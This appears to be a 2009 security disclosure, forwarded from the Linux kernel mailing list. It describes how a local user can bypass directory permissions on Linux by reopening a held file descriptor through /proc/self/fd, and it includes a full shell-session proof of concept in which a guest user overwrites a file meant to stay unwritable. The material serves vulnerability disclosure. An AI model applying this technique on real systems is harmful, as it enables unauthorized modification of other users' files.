proc File Descriptors Directory Permissions bypass

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proc File Descriptors Directory Permissions bypass
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# Title: proc File Descriptors Directory Permissions bypass
# CVE-ID: ()
# OSVDB-ID: ()
# Author: Pavel Machek
# Published: 2009-10-23
# Verified: yes

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Hi!
 
This is forward from lkml, so no, I did not invent this
hole. Unfortunately, I do not think lkml sees this as a security hole,
so...
 
Jamie Lokier said:
> > >  a) the current permission model under /proc/PID/fd has a security
> > >     hole (which Jamie is worried about)
> >
> > I believe its bugtraq time. Being able to reopen file with additional
> > permissions looks like  a security problem...
> >
> > Jamie, do you have some test script? And do you want your 15 minutes
> >  of bugtraq fame? ;-).
 
> The reopen does check the inode permission, but it does not require
> you have any reachable path to the file.  Someone _might_ use that as
> a traditional unix security mechanism, but if so it's probably quite rare.
 
Ok, I got this, with two users. I guess it is real (but obscure)
security hole.
 
So, we have this scenario. pavel/root is not doing anything interesting in
the background.
 
[email protected]:/tmp$ uname -a
Linux toy.ucw.cz 2.6.32-rc3 #21 Mon Oct 19 07:32:02 CEST 2009 armv5tel GNU/Linux
[email protected]:/tmp mkdir my_priv; cd my_priv
[email protected]:/tmp/my_priv$ echo this file should never be writable > unwritable_file
# lock down directory
[email protected]:/tmp/my_priv$ chmod 700 .
# relax file permissions, directory is private, so this is safe
# check link count on unwritable_file. We would not want someone
# to have a hard link to work around our permissions, would we?
[email protected]:/tmp/my_priv$ chmod 666 unwritable_file
[email protected]:/tmp/my_priv$ cat unwritable_file
this file should never be writable
[email protected]:/tmp/my_priv$ cat unwritable_file
got you
# Security problem here
 
[Please pause here for a while before reading how guest did it.]
 
Unexpected? Well, yes, to me anyway. Linux specific? Yes, I think so.
 
So what did happen? User guest was able to work around directory
permissions in the background, using /proc filesystem.
 
[email protected]:~$ bash 3< /tmp/my_priv/unwritable_file
# Running inside nested shell
[email protected]:~$ read A <&3
[email protected]:~$ echo $A
this file should never be writable
 
[email protected]:~$ cd /tmp/my_priv
[email protected]:/tmp/my_priv$ ls
unwritable_file
 
# pavel did chmod 000, chmod 666 here
[email protected]:/tmp/my_priv$ ls
ls: cannot open directory .: Permission denied
 
# Linux correctly prevents guest from writing to that file
[email protected]:/tmp/my_priv$ cat unwritable_file
cat: unwritable_file: Permission denied
[email protected]:/tmp/my_priv$ echo got you >&3
bash: echo: write error: Bad file descriptor
 
# ...until we take a way around it with /proc filesystem. Oops.
[email protected]:/tmp/my_priv$ echo got you > /proc/self/fd/3
 
                      





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